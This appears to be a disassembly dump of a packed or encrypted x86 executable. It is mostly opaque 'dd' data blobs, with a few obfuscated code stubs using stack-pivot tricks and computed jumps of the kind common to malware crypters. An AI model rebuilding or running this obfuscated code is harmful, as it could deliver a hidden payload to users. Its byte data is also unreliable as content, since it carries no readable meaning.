0E3786163h, 401894EDh dd 587A767Eh, 8998311Dh, 0FD4F4BFAh, 79C48BABh, 0BF270F2Fh dd 0E0C9F587h, 0FA35D207h, 42B18CD2h, 2C0DF254h, 390ABCB5h dd 0B9818E91h, 0CD290465h, 5D5ED680h, 0C729FE55h, 0C387D982h dd 200F04FBh, 54F492C5h, 0B77F5274h, 0A083A3E8h, 187C454Dh dd 0E23F37E1h, 0C32C0C19h, 1B24ACF2h, 56CF2E2Eh, 1CBA214Ah dd 94B4828Ch, 71B99D8Fh, 0C1F92609h, 0C2838FE2h, 3604347Dh dd 4E3394D7h, 4BBCB5C4h, 2B98307Ah, 520B1DAFh, 0B5C4F147h dd 0DAAE0BBCh, 0D9BCB5C4h, 9DEE3F88h, 1256732h, 0DCF9A129h dd 0BCB5C454h, 0F9D31E6Fh, 1F0D96D5h, 62CEC89Bh, 0FE45042Ah dd 79C688AEh, 1636112Fh, 4A90E1C8h, 0C52A0063h, 0C8B5FDDDh dd 0E5278505h, 35D88EC1h, 0D31E3C6Ah, 0A687DBFBh, 1E206847h dd 98BCEBB4h, 5E086B42h, 333C7D35h, 1836C491h, 295F1DDh dd 0FEA628EBh, 75E255DBh, 146EC3h, 5AC9CF38h, 6179B485h dd 0F8D17D35h, 97E49D6Ch, 0EA491954h, 6AD9828Ah, 395Ah dd 0EB026C00h, 0E035BA28h, 0C375E21Bh, 359BCF18h, 0E2C0A80Dh dd 8D4AC375h, 8112D64Bh, 3372432Ch, 7852EFBBh, 0F2A94853h dd 41A8F6C4h, 1EAEAE79h, 0E4499CDh, 2C3Eh, 0EB026800h dd 0B38EA628h, 0F77970C4h, 35766043h, 75E21BE0h, 3616D9C3h dd 3593C710h, 44785211h, 0CC1D6145h, 5A44EBE3h, 44A9017Ch dd 0F1DED80Eh, 7655C375h, 0FFFFFD26h, 0E25CD8A0h, 6D99C375h dd 6E261EB0h, 8A8E59C0h, 0A30EF2C7h, 3405C375h, 0FF4488EBh dd 0C1B48AB2h, 0C375A37Fh, 111E21A1h, 0FF9BCA29h, 22265CAh dd 0A38EED3Ch, 230C4676h, 6BE9C4E8h, 60E8CEDCh, 29A1628Bh dd 0C644EF11h, 185B62E9h, 23F6BE26h, 0C375C55Dh, 41260556h dd 5CC1120h, 0DCCEE4D3h, 6651ADFEh, 7E3A0026h, 2D218D0Dh dd 0E070587Eh, 0EC258310h, 224h, 0E253D8E6h, 529EC375h dd 5D231BB3h, 0A6BB5096h, 8D28A281h, 0C95CF3B8h, 30FC6CBDh dd 41799E78h, 0F83BC883h, 4EACAC95h, 39052561h, 0A0FEDCCEh dd 4D2DE907h, 3F860093h, 0E2E79B0h, 0C688D930h, 0FD43561Eh dd 0F6C69292h, 14E146A5h, 1CCBA64h, 32C64B30h, 0B28E701Fh dd 0DBD29h, 0C80E3A00h, 33133B00h, 3109361Dh, 3519301Fh dd 34020C1Bh, 0A6FA8914h, 0A18E4278h, 0A18E427Ah, 0BF844464h dd 2287496Dh, 0DEA315A0h, 75A0C698h, 547A5205h, 82836906h dd 1108EDC8h, 0DC2DC963h, 5E60A58Ah, 0C1196A50h, 0BA451410h dd 34BAA9Bh, 0F3D5F33Ch, 6DBE8FD3h, 407B33E3h, 2575EDDBh dd 0BE9C8EE1h, 1727107Fh, 8AACFCCBh, 0F2F7FC0h, 0F9C5E920h dd 526D5590h, 84A4E19Eh, 4C0657B6h, 0B11B6469h, 30E61CCh dd 0CC86E73Bh, 0A11A07E9h, 0E2331CC8h, 2589023Dh, 6972CE70h dd 0D1Eh, 0E16F6F55h, 0FE52705Ah, 0F8506851h, 0F4547853h dd 0F55B63AFh, 0D9C19928h, 0D5C06FE1h, 0CBC06FE1h, 0CEDE65EBh dd 14160E8h, 98DFCCB4h, 0E2D4C7C6h, 1C226A35h, 0F4DAF221h dd 22E309A6h, 0B88687A8h, 1E6FB393h, 0D1E4EECDh, 0C95CE4F4h dd 0CC083718h, 0B48AAAFDh, 54A51655h, 597DAFF4h, 2860CFF7h dd 54982706h, 1CBC19B1h, 0D7CC8413h, 50AEB098h, 31093679h dd 1BB39CEDh, 1D330B34h, 0ED310936h, 0F8DD8A82h, 0C8A1D070h dd 8DD12273h, 1801FEF2h, 0DBF3DA20h, 0A1D00AFEh, 0EF3809C8h dd 0C08DD2E7h, 0F9CAC288h, 0BD31304h, 6477D376h, 0C6Eh dd 0B19FBFE5h, 4E82A0EAh, 4880B8E1h, 4484A8E3h, 458BB3FFh dd 29114978h, 25103F11h, 3B103F11h, 3E6E351Bh, 0D1F13018h dd 98DF7CC4h, 520477C6h, 72547A52h, 0EB09C43Ah, 0B6AC7E2h dd 0B1549837h, 0E31FBC19h, 0F2D4C95Ch, 92C05127h, 0BA0EABC6h dd 0B9C692C0h, 7D4E9F68h, 100B23D3h, 60C8ED8Bh, 63C692D4h dd 9B22C812h, 0A0EAC924h, 0B8E14E82h, 3861CE80h, 7B2F2500h dd 1216A35h, 0B800953Dh, 0BBC375E2h, 0A7DA196Ah, 53735A49h dd 0E5ED3E0Fh, 1053735Ah, 9A8D925Ah, 260564BAh, 5CF14441h dd 0FAC011C9h, 92ECBD07h, 8600CBC6h, 0F2810292h, 330B3361h dd 0E45DE300h, 0CDB37080h, 0C6C69204h, 9ACDB6F5h, 85000000h dd 693974ADh, 6A49E885h, 5A78527Ch, 54E93870h, 471A054Ah dd 0F92D1A64h, 98E6C6C7h, 4A1A60B1h, 0BF83A3E5h, 0E9200F6Eh dd 9C8EF9C5h, 7D4175A0h, 19F84055h, 0AAFBC375h, 11291659h dd 0BD93FCCDh, 636B2AC6h, 5DF4A956h, 20DD2EC9h, 6A38B7F9h dd 4F7269C1h, 8400000Bh, 8592BE98h, 80AFA181h, 82A9A797h dd 9EA5AB8Bh, 1FA6AA90h, 30063068h, 30043318h, 3A1A3318h dd 3F1F0916h, 0E3369011h, 0C698DC1Dh, 52B3E716h, 22962378h dd 21C375E2h, 8E4987D0h, 4Ch, 5A7852D8h, 80856B04h, 140EEBCEh dd 3A0BC95Dh, 37C2E845h, 0D388A06Ah, 0AF2h dd 0CD033B61h, 0CA062466h, 0C404347Dh, 0C0082C7Fh, 0C10F4F7Bh dd 0A5EDC5FCh, 0A1ECBB95h, 0BFECBB95h, 0A2EAB19Fh, 557D4C9Ch dd 98DDF840h, 0DE88FBC6h, 6547A52h, 63B6EF39h, 0C375E29Dh dd 17993C96h, 2CC375E2h, 5DA1F2C3h, 96537716h, 34E21F9Eh dd 75AB1FE1h, 0F3CB14C3h, 0F83BBB23h, 0D8D5B32Dh, 2129167h dd 35D50000h, 0E2C0A80Dh, 0F2C3C375h, 2B47EAB3h, 9E484713h dd 0B9D1ABF6h, 0AC2F8C9Fh, 6A1954A5h, 0EACF8786h, 0C95C080Dh dd 0EC96390Ah, 6BBEE454h, 0B6F58831h, 0EA68CED1h, 0E6A745B2h dd 6A20C9ECh, 6CBD3023h, 9A7B710Eh, 0DBAD0830h, 0D83C1372h dd 9326AC8Fh, 3606CCCCh, 0D12B485h, 0E153B1Bh, 0A01F311Eh dd 0C2947CB6h, 409EBEEFh, 0D0631869h, 9069A1C1h, 0A1423B8h dd 55430000h, 4A40EF61h, 525FE464h, 4E59E66Ah, 6D55E26Eh dd 0A3D2E36Dh, 55FBC3CFh, 55FBC3CEh, 53FDDDCEh, 6EE2C4C4h dd 0DAAE0B5Bh, 0D9C698A2h, 7852FCAAh, 856B045Ah, 6FEBCE80h dd 64C96311h, 0A1ECB31Bh, 0B38BBB95h, 6E20638Dh, 260D6844h dd 0E0FFC3FBh, 7441090Ch, 0CCB10633h, 58E7EF38h, 0C961696Dh dd 290AE34Bh, 8C40A31Ah, 7E5C78A7h, 0A50BAE56h, 47C8A081h dd 0A0818E72h, 0EBB485C8h, 54745B9Ah, 0CF183E6Ch, 25F40952h dd 0CA91A970h, 982h, 5DF3CBF1h, 5AF6D4F6h, 54F4C4CDh, 50F8DCCFh dd 51FFDFCBh, 357D354Ch, 317CCB05h, 2F7CCB05h, 527AC10Fh dd 0E5EDDC0Ch, 98A268D0h, 4E386BC6h, 0DBFEA6D0h, 0C375E255h dd 79DE1D6Eh, 0C375E2EFh, 0DB0C8A51h, 33725474h, 7A1BD1ACh dd 0FA4C4550h, 4FD0C95Ch, 0CCB4015Ch, 0C7C692F5h, 7059A5F6h dd 5F774035h, 59F7C7F0h, 74F4EA2h, 0B891E3B2h, 379FE8CCh dd 16002068h, 0FDDDC920h, 0D17F48A1h, 0BF7C424Ah, 70214CC0h dd 0F3AB3008h, 60000008h, 61CE0234h, 7CCB0525h, 7EC50B33h dd 7AC10F2Fh, 0F3C20E4Ch, 94A2ECC4h, 94A0EFB4h, 9EBEEFB4h dd 83A3E5B2h, 4F6A7C4Dh, 0C698A3F9h, 35DF8BFAh, 0E2C0A80Dh dd 0F2C3C375h, 0E26ED6B3h, 0D1FBC375h, 48A4438Dh, 0CAA80D45h dd 0C9C95D30h, 162ED6F8h, 0B16B9C5h, 0BA828FD5h, 0E6270A69h dd 0E83D0AC6h, 8BE9F2C8h, 2D000008h, 833F3A15h, 186229BAh dd 0B678455Bh, 85D510D7h, 1531EE02h, 0D7E2E435h, 0C95CFAE2h dd 0F54896E7h, 0C692FA0Fh, 34814979h, 0C692FA4Ch, 0A4377647h dd 7C49E122h, 7A6C39FBh, 9E36E5C0h, 0AE61F288h, 157h, 13331B24h dd 795286D0h, 0F3A0559h, 86D4F4D1h, 3F0856A7h, 8AF5C9EDh dd 80AFA181h, 0F57AB8Bh, 54969137h, 751CFF41h, 53ABF4C3h dd 47A6FB96h, 0FBD3B238h, 0E6D6954h, 0BD477144h, 634CC375h dd 0D6F8D01Fh, 486CBF88h, 0D5F5B672h, 22734B77h, 6B74CC84h dd 8364F001h, 0AE28BBFAh, 27290902h, 0CF133318h, 568EB887h dd 3A005169h, 353790D3h, 9BC375D0h, 7C5A44EBh, 0FDECCF1Eh dd 7E5E4FDDh, 49D515D2h, 0BD81B9E6h, 0D621976Ch, 0D822C375h dd 0AD744ACFh, 0D526773Ch, 3848D8FDh, 1A6BC375h, 88CCFBC4h dd 88CCFB40h, 634345B2h, 0DBFBD01Fh, 4C92B887h, 0E9915A6Eh dd 1CBA2145h, 9BB5818Ch, 229623EBh, 21C37538h, 73BE95D0h dd 3811E732h, 0C112C375h, 0DF0DAAF0h, 6401943Eh, 71C95DCEh dd 14032820h, 2DBDDA20h, 2CCE6668h, 0C4F52B5Fh, 5D7872B1h dd 0C69D04EFh, 0B339BE4h, 9D04DAAEh, 0A188D9C6h, 1B674666h dd 76D2F467h, 76DD734Bh, 0A72F734Bh, 4EADB198h, 0F6D8BD33h dd 0B5EEA223h, 69F7CFCCh, 385AFC3Ah, 9EA5ABF4h, 71C7D293h dd 72C8A5F6h, 0FDDDCE21h, 0B697BCACh, 0F666CAEFh, 2C7DC8A5h dd 0F6A91FBAh, 59AAC8A5h, 331CC008h, 0D0FA3519h, 227B3F2h dd 12A72FEEh, 0C95CE9C1h, 0F6C5B48Eh, 31B7EB96h, 79AD9AE0h dd 2D3F759h, 99A628EBh, 254AAC8Ch, 3F962E63h, 10E5DD18h dd 0C375D9A4h, 8B9139D2h, 67D95319h, 2A2Bh, 929CA300h dd 0A570F8DDh, 2273C375h, 52C492D1h, 0B1045A78h, 0C375E2CFh dd 0FC4C4A11h, 714088AEh, 0C3760443h, 0FFB58DC8h, 52DDFFFFh dd 416E547Ah, 51EB020Dh, 75E2FC44h, 55A6F7C3h, 216A3561h dd 0E2EB5D78h, 9FE8C375h, 0D619704Eh, 5A96D5F5h, 0E77D35B6h dd 0BC07C63Dh, 8F07E9CCh, 331CC375h, 7BCDE8E2h, 78C3758Fh dd 0D759CC2Fh, 956AD915h, 30h, 0A80D35D1h, 0C375E2C0h dd 6EBFF2C3h, 99506F4Eh, 0E035CCFAh, 0C375E218h, 359CCA1Bh dd 3D6A3511h, 8DE8C11Dh, 104664A6h, 353E0E44h, 68000000h dd 0BA28EB02h, 0E218E035h, 3AE2C375h, 75E2299Fh, 9AD92AC3h dd 521610E8h, 7B3633A9h, 1135BC2Ah, 6C5A7852h, 50D1244h dd 489E935h, 4819C1B3h, 0A1397445h, 9556552h, 75E2CCB4h dd 685059C3h, 0C0E02512h, 6169DAFAh, 9BE4C8C3h, 7CDF571Fh dd 976DD909h, 0D7F3E2C1h, 4FD26A12h, 0B8DECA8h, 0FA1EE247h dd 0C415C375h, 0BD9D8AE9h, 4E5CE393h, 45321268h, 0D0C51EF7h dd 0FA5F9EEFh, 0C375A620h, 9BE7C7C1h, 861AEECBh, 0C819C375h dd 0B12FAEFFh, 67FFFFF3h, 86961ABFh, 5CADC375h, 0C816266Dh dd 52D482E1h, 62444478h, 0AC403F11h, 0E2B30590h, 67B0C375h dd 0ABF4BC16h, 28015D61h, 488CFBD6h, 0FD38402Eh, 5C7BE71Ch dd 6FB39CC9h, 927B2A8Ah, 0B8F5CC6h, 0F1F18F01h, 7BD61h dd 3E090000h, 1, 2FEE0268h, 0FA5512A7h, 3102C95Ch, 0AA8882EDh dd 0F46613A6h, 0D8CDC692h, 8B2ED6F8h, 0C692F525h, 0F50EF2C7h dd 3405C692h, 15DB1A6Bh, 0F4231D0Eh, 452B8EC0h, 5EC692F5h dd 27DE3C0Dh, 0C5C58847h, 31182667h, 270CDC2Dh, 0E9CDDFE5h dd 4363AA95h, 0E6C92172h, 23AE80A6h, 0CAC26E68h, 0EA25E5E4h dd 6859827Ah, 0E64Ah, 0EC021C00h, 8D9EA129h, 35184EADh dd 75E21BE0h, 535EE1C3h, 0AB7A086Bh, 350D353Fh, 0EA3577A8h dd 2FBBFAE5h, 5278A32Eh, 2D72547Ah, 0C096D5E5h, 0EB020D41h dd 9199A628h, 397455A9h, 359FB3A1h, 211C226Ah, 0D982EA4Ah dd 0E4240B6Ah, 46A4FCC2h, 98AD7162h, 78C52071h, 47h, 28EB024Ah dd 3D6A35BAh, 0F7ABE814h, 0B2835643h, 2A0A036Ch, 49A4F5D4h dd 6C0A80Dh, 153AC375h, 9ACA1030h, 7506493Fh, 28794AC3h dd 0BB2F78CDh, 0AE377D35h, 7AEA6496h, 5297B33Bh, 446C5A78h dd 3F3E0Eh, 2680000h, 35BA28EBh, 0D9F7220Dh, 0B990EECEh dd 0F83B1268h, 75E2A91Fh, 309A6BC3h, 0C2FA2708h, 60C8ADFCh dd 63C375E2h, 8BCB2A1Bh, 7507454h, 1135B224h, 6C5A7852h dd 1216A35h, 0B491EC3Dh, 0FF113E3Eh, 3568FFFFh, 0D21D3D6Ah dd 0A786D4FAh, 1F3F6944h, 0F2D4F4C3h, 434BA15Eh, 6AA61CAFh dd 430B546Ah, 7953A39Bh, 8C744A02h, 7EBC8B1h, 9FE8C95Ch dd 0E706FE43h, 5B70C69Dh, 85BB553Fh, 3F8961F1h, 0DD000000h dd 0A72FEE02h, 5CFEB912h, 1965B6C9h, 92FED0A4h, 0E5E5A6C6h dd 0F27265FFh, 9C899661h, 0DB065EBCh, 2452C888h, 79A48BD4h dd 1CA51E5Dh, 3D000001h, 0FA2A5305h, 8FBB857Fh, 0C91A734Fh dd 0D35FCEAh, 75E2C0A8h, 0B3F2C3C3h, 146A4C5Ch, 99A6FF2Bh dd 61D7AC8Ch, 62C375E2h, 5DEE7218h, 247517E1h, 67DF87DBh dd 5560AB25h, 0C3758AE3h, 0F74F97E0h, 117CBF52h, 0FCCB1737h dd 9E468AACh, 74B797B1h, 756EF593h, 62860C3h, 12221ACAh dd 6814D12h, 0B19BF635h, 0BA3651ADh, 9DE1C1C5h, 0C9BF1A4Ch dd 0CAC3757Bh, 7E26A8F9h, 0E10B76C6h dd 68A3AE81h, 0C6177644h, 918102E7h, 0EF97C95Ch, 928D66CAh dd 0EECAF4C6h, 2DFC891Dh, 4330735Ch, 0CB21DE72h, 0EA3580CAh dd 0EFCCB843h, 31FFA497h, 0F837A2A7h, 17BF88CEh, 10381E08h dd 423F1F0Bh, 70224F0Dh, 0A75E7DD5h, 2C000002h, 2D7AD6E0h dd 2877D9F9h, 2A71DFFFh, 260DC3E3h, 0A70EC2F8h, 686E5810h dd 686C5BE0h, 52725BE0h, 577751FEh, 3B9EC8F9h, 0C698A5B5h dd 356B5F4Eh, 3C02206Ah, 77A38EEDh, 6AA28947h, 3F797E4Dh dd 95E679CEh, 66A48BBBh, 43149C39h, 0DE2FC375h, 3538AE8Dh dd 5E7B206Ah, 0C375E2EAh, 6C4F98E9h, 0D0FA9B51h, 2764424Fh dd 0FFF73607h, 5CFE41DAh, 0D12D7EC9h, 4A70BE81h, 71D61574h dd 0C692FE83h, 77B0D6F5h, 0E1DCE228h, 0F2729A0Ah, 0E8AA61h dd 353C0000h, 3F03236Ah, 68A08FEEh, 71440C46h, 0C375E28Fh dd 678BB84h, 0F1C9F15Eh, 6B535FB2h, 0E706A217h, 0CB54C375h dd 88DDF4C1h, 0DCE5126Eh, 4A40AFF3h, 0E6371664h, 5E60A887h dd 5C123C74h, 0AAE41AB5h, 6EBE854Bh, 8A2F7456h, 0C3752A26h dd 0B283EC3Dh, 0F89D536Ch, 3942C3D6h, 49D6C95Ch, 4D3E7D5Dh dd 820EC7Ch, 0A584683Fh, 84AD164Ch, 4631687Eh, 658B3675h dd 0ED8B2EA0h, 0E6CCB8A7h, 24123D95h, 250A3A16h, 0AFFEDCFCh dd 139614Ch, 2166F19Ch, 0B2290170h, 17Ah, 458BB3F9h, 428EACFEh dd 5C8CCCF5h, 58F0D4F7h, 59F7C7F3h, 3D653D74h, 3964331Dh dd 2764331Dh, 2A62C907h, 0EDE5C404h, 98AA60C8h, 463063C6h dd 7C566452h, 0E29F61B4h, 5594C375h, 0DE1D6E6Eh, 5A030512h dd 75E2897Fh, 68B98AC3h, 7A5220E0h, 0E52D7254h, 0AEFFDFCBh dd 34447050h, 4E326E93h, 3B1B327Dh, 71DE86F8h, 13357454h dd 5F9EEF33h, 0DA765870h, 84CECF1Dh, 5C2BF031h, 3AACFDC9h dd 9E4E2502h, 0BC19394Eh, 0C6924C34h, 4EADFECFh, 0CD113B04h dd 32143403h, 781DD3ECh, 0F8C0C956h, 4EE431BDh, 65CC84BFh dd 6E066714h, 72CE7025h, 0C569h, 30063200h, 3B1B3318h dd 39010E15h, 3D010817h, 3C1A0413h, 0BEF2812Ch, 0B9864A70h dd 0B9864A72h, 0B79C4C6Ch, 2A9FB195h, 0ABAB1DB8h, 7DA8C698h dd 2FEE020Dh, 119412A7h, 95BAC963h, 0FD4EADADh, 39064EACh dd 9AF3CFEFh, 7254745Bh, 775771DEh, 4829562Bh, 0D9B0FDD4h dd 0E34C74B1h, 55B48AAAh, 0C5512890h, 80DA2BF9h, 1D326601h dd 117CBF06h, 90BF1737h, 94589BBBh, 65B99D8Fh, 0CF13331Ah dd 909FB5E0h, 267756A4h, 9BA3EFD8h, 680CB47h, 2DAD3EB4h dd 0A7A98D9Fh, 527B50FFh, 818331ACh, 964B549h, 0FEDCE22Ah dd 19DDh, 30E1100h, 0AF98E73Bh, 297A53AFh, 0D359CCAh, 75E2C0A8h dd 0B3F2C3C3h, 66527D2Dh, 0EB3D0A50h, 8388F7CBh, 25105FA3h dd 0B4E2CD11h, 434FB886h, 0F1D8277Bh, 79A691EDh, 18327D41h dd 5602E43Ah, 0C6815E54h, 4, 8704EE83h, 525C2434h, 0C281E289h dd 4, 4EA81h, 14870000h, 14895C24h, 0E6895624h, 4C681h dd 0EE830000h, 24348704h, 243C895Ch, 0AA66855h, 815D2779h dd 2E5CC8C5h, 1AB85023h, 518AD2Ch, 3A43320Bh, 3305D0F7h dd 51A5F31h, 5FA669A6h, 0F758C521h, 0ECED81D5h, 89F80DABh dd 8B545DEAh, 0C483243Ch, 0D1895104h, 8478F51h, 243C8B59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_545FF7 ; --------------------------------------------------------------------------- dw 6BA1h dd 0D71D5242h, 0A70BC7C4h, 0ED4A4AB8h, 50C50305h, 7F985C6h dd 684705E7h, 0CF381725h, 0C25B5FFh, 858D05E7h, 5E73917h dd 0D88BD0FFh, 17AD858Dh, 685005E7h, 104h, 85C6D3FFh, 5E707F9h dd 0F8BF6853h, 0B5FF8307h, 5E70C25h, 3917858Dh, 0D0FF05E7h dd 2DD28589h, 0BD8305EDh, 5E73301h, 0B840F00h, 8B000000h dd 0E702119Dh, 5E905h, 0BB0000h, 68000000h, 100h, 2DD6B58Dh dd 535605EDh, 5AD95FFh, 0B58D05E7h, 5ED2DD6h, 1E9F003h dd 4E000000h, 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh dd 0D6858D00h, 5005ED2Dh, 2DD295FFh, 0FF5805EDh, 0E9EDA7E0h dd 9F9370Fh, 54522C24h, 0AD5F6231h, 0E7EFF07Eh, 6D1A1377h dd 0D50F9D0Dh, 950FFF6Ch, 0BF11C771h, 38B29C75h, 0CA4707h dd 0DA0BA552h, 6E86Dh, 0DEDD0000h, 879F20A7h, 59FE8B66h dd 118DBFh, 0B5C18107h, 6600005Bh, 247FC081h, 68h, 8DBE6600h dd 0BF0F5B5Ch, 0B34FFF0h, 6ADBB866h, 146CBF5Ah, 0F28106B0h dd 21555F3h, 45EA81F5h, 667B6277h, 0B919E881h, 55BDC281h dd 66537BC9h, 8958FA8Bh, 800F1914h, 2, 83FCF98Bh, 4B4B01EBh dd 0D890BF4Bh, 0FB81531Dh, 0FFFFA4ECh, 13850Fh, 8B0F0000h dd 3, 0E9C18B66h, 23h, 540A26EEh, 0EE816664h, 96E93F74h dd 92FFFFFFh, 83ABD99Fh, 8FE935D5h, 7D935A2Ch, 601CD3F3h dd 0E887CAE5h, 0Eh, 0E1783763h, 0A526B3E9h, 0E9EB28E8h dd 0C880D3D5h, 0BA665BCCh, 0C3814D07h, 698Dh, 0CE9h, 0B1535D00h dd 0B8EB4987h, 7F77414Ch, 53F63360h, 8B5811B4h, 0F560330Ch dd 8161C88Ah, 4E6FFAE9h, 9E87Eh, 6150000h, 0B8035FEBh dd 57C579B4h, 58FAB70Fh, 4EF1815Fh, 8A53CFA9h, 0EF181F7h dd 666F386Dh, 89A709BFh, 870F330Ch, 8, 2830Fh, 0C68B0000h dd 0EE81CFB2h, 5CC575B1h, 10EA8166h, 0ADC6811Eh, 575CC575h dd 20FE815Ah, 0FFFFF97h, 0C85h, 13E900h, 3D900000h, 46D6809h dd 88E9F8D0h, 0A8FFFFFFh, 524B0DFCh, 0BC8D8D6Ch, 6A05ED4Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 7CE2C350h, 52D8D89h, 8D8905E7h, 5E72315h dd 0EE8h, 0FC8D7C00h, 30881A20h, 4D48052Ch, 89AB6B58h dd 0E71C2595h, 85C75A05h, 5E708B9h, 7010h, 15818531h, 85C705E7h dd 5E70C99h, 0 dd 2E85B531h, 0B5FF05E7h, 5E71605h, 95FFC68Bh, 5E732CDh dd 27E9B58Bh, 6A05E7h, 1A1D95FFh, 0C08B05E7h, 0B4425EEBh dd 82379D5Bh, 0F03D010Dh, 6BD4B504h, 1C6792D7h, 0E3F30DB4h dd 0A94F9B87h, 0A85B4148h, 0D9DC8896h, 0EC2771FAh, 0D3329C64h dd 0C969D98Dh, 0AF911706h, 0AF008368h, 95E0C321h, 820BC4EBh dd 24469F99h, 7A730406h, 750A2184h, 850BFD91h, 1B161B2Eh dd 8E0801FEh, 0B99AAACBh, 0A68D4E4Bh, 1B9026EBh, 0AFEC33B6h dd 746E558Eh, 2E6C6C64h, 6C6C64h, 7462188h, 0A3D25D34h dd 6AEA2346h, 2 dup(0) dd 6EEE9h, 4FC36800h, 20E905EDh, 68FFFA2Fh, 5ED50CDh, 0FA2F16E9h dd 517068FFh, 0CE905EDh, 68FFFA2Fh, 5ED522Ah, 0FA2F02E9h dd 52E768FFh, 0F8E905EDh, 68FFFA2Eh, 5ED53AAh, 0FA2EEEE9h dd 0E8EEDAFFh, 0D3F3DB60h, 0D1E9D67Dh, 0D5F9D07Fh, 0D4E22C7Bh dd 461AA974h, 41EE6258h, 41EE625Ah, 5FE46444h, 0C2E7694Dh dd 0AC433580h, 5540C698h, 216A3565h, 50335308h, 499ADDC4h dd 96D91475h, 3Ch, 3F8114DCh, 34C37598h, 98B10792h, 61B2C375h dd 5285D510h, 3906547Ah, 0CEE8D1EFh, 54AAFBC3h, 9DA22475h dd 7455A989h, 1EE63B39h, 8BC375E2h, 0AFEDB82h, 9C375E2h dd 0A161EF38h, 0A72FEE02h, 5CE7A512h, 94192C9h, 0E09BE941h dd 6176439Ah, 92633C84h, 87E637C6h, 0DD132BBBh, 0CA7DF0A0h dd 39BB1C5Fh, 4FC692A5h, 7E16FA9Ch, 4E61F247h, 29Eh, 3B4EE418h dd 36FED0B5h, 0AA153C69h, 8EFE3355h, 492E0D5Eh, 0C95C9BECh dd 0E03198E9h, 8243F36Bh, 4E752AC6h, 15A0300Eh, 963C3A3h dd 350657A0h, 9987A59Dh, 28EA9636h, 76D981CDh, 5730734Bh dd 34A31EAh, 3E1E0916h, 0E13D0EFFh, 636B2AC6h, 8A38CBCBh dd 1756B750h, 90177A5Fh, 36C069Dh, 0FBA4E44Bh, 9DA76ADEh dd 54616916h, 169DA7ECh, 744596E7h, 795D4FD4h, 38F54884h dd 2BB0883Ah, 4D2h, 0BD93AB91h, 0BA96B496h, 0B494A4EDh dd 0B098BCEFh, 0B19FBFEBh, 151D556Ch, 111C2B25h, 0F1C2B25h dd 321A212Fh, 0C58D3C2Ch, 98AD08F0h, 0AE180BC6h, 72547A52h dd 0E2996F4Ah, 499AC375h, 757B146Ah, 0E9B3E90h, 2BC95D0Ch dd 0D39F76DAh, 0C0A3A981h, 0A4273222h, 19604652h, 589B7B33h dd 8CC6C725h, 393D6CC4h, 657EC7FEh, 0CDD4A106h, 0F0C1CCBBh dd 3D8316DEh, 36C8BBCDh, 1BCB86E5h, 0B52A8823h, 0BB129860h dd 704A9BC8h, 0A9845C32h, 0DD3FD1C0h, 84A04C57h, 19BF4F31h dd 2A7B4467h, 7657F8A0h, 823FAB5Fh, 0AEFFBB3Dh, 5D3A7950h dd 6D3004E0h, 2EB684D5h, 0C5240401h, 3BEFDDDh, 9E3321EDh dd 0D93BDBA2h, 716EC688h, 0F5F7EACBh, 0D1E4EECDh, 6333AE8Eh dd 28D0FACBh, 8EE35560h, 97E0734Bh, 0F2F7954h, 5527AC1h dd 8D288075h, 734B223Bh, 4397EF38h, 0AC168AF0h, 0A3950B99h dd 6A9C0152h, 8A148F33h, 3C82DAEh, 919F0000h, 8E9CABA5h dd 0AE9BA0A8h, 0B295A2AEh, 0A991BE92h, 5F16BF91h, 113F1F0Bh dd 113F1F0Ah, 2F21010Ah, 2A260800h, 6EACF87h, 1DC698B2h dd 7D35B8EEh, 0E86028CDh, 38175682h, 0D7F0CE10h, 0AA527419h dd 75E8B90Fh, 0A69BAC3h, 26A09840h, 4F6999DDh, 10816645h dd 0DDC95C8Dh, 49A75C8Ch, 0FAB70244h, 0FFCC845Ch, 64B599B0h dd 0E2CBDD62h, 7A557DDAh, 0BAE7CA52h, 3619B182h, 7DF33208h dd 442C89B1h, 5FC8A18Fh, 0C8C02F0Eh, 0F1FF98E6h, 321FBA2Ch dd 27C28897h, 33C129D6h, 330F760Ch, 325A8h, 0C0F62200h dd 0CBEB2308h, 0C9F13E05h, 0CD113807h, 0CC0A3403h, 0AE02B11Ch dd 0A9F65A60h, 0A9F65A62h, 0A78C5C7Ch, 3A8F4165h, 0B3BB0DA8h dd 4DB8C698h, 226A351Dh, 0DAF2211Ch, 2897BCEAh, 70A8BD1Dh dd 0C52A38Ch, 36987D73h, 3C5AB0Eh, 8DDEC375h, 0D37C24AEh dd 0A786D4F8h, 0E99EE344h, 439BC95Dh, 0AF301B7Dh, 0ACBC8DE0h dd 155EBh, 39E43F00h, 0DCC5BA36h, 7E4F9EFCh, 0EAF44154h dd 90E1C95Ch, 0D2DC9839h, 0D319BD55h, 0C3D9832h, 89327910h dd 2D7262B8h, 0E897D6E6h, 6C490104h, 0C86B7265h, 4D91B887h dd 1A4C9D6Eh, 1D331335h, 4B301636h, 6B4656ADh, 6B90CB67h dd 78000002h, 79C60A4Ch, 74C30D2Dh, 76DD734Bh, 72D97757h dd 0CBDA7644h, 9CBAE4BCh, 9CB8E74Ch, 86A6E74Ch, 8BABFD4Ah dd 57626445h, 0C698B0E1h, 52C7B3E2h, 6906547Ah, 0EDC88283h dd 0C95D0C00h, 5B8554ECh, 4C85F2D6h, 48C7836Ah, 0CA298423h dd 0AD202879h, 0AD707CF1h, 5B239025h, 0BE10CCBBh, 0BB5B951Bh dd 351930C8h, 87CA1B64h, 3E8217DFh, 0BCC8BB5Bh, 418EF4ADh dd 0D122F3A2h, 6F263592h, 7F6D5999h, 58E1349Eh, 5553ED9Dh dd 6859750Dh, 634CF77Ah, 0A06C801Fh, 35D842EBh, 0EDD8173Bh dd 6BB495E9h, 75035663h, 774069F7h, 0F6D8F05Fh, 0FBDBCD5Ah dd 0D251F206h, 0B9223E0Ah, 1AEh, 814F8FB5h, 9EB290BAh dd 98B088B1h, 94B498B3h, 95BB838Fh, 0F9217908h, 0F5200FC1h dd 0EB200FC1h, 0EE3E05CBh, 21A100C8h, 98B02C94h, 82F427C6h dd 72547A52h, 1829333Ah, 0A2816F2Bh, 0E8AD435Ch, 1142D3E6h dd 3E0FC95Ch, 0EE027E12h, 9F12A72Fh, 54C96330h, 0ACFC430Bh dd 0AFF9468Ah, 0AC5D23F6h, 556C698h, 23C9E634h, 0D84D6862h dd 9DCC8E7Eh, 13351A4Ch, 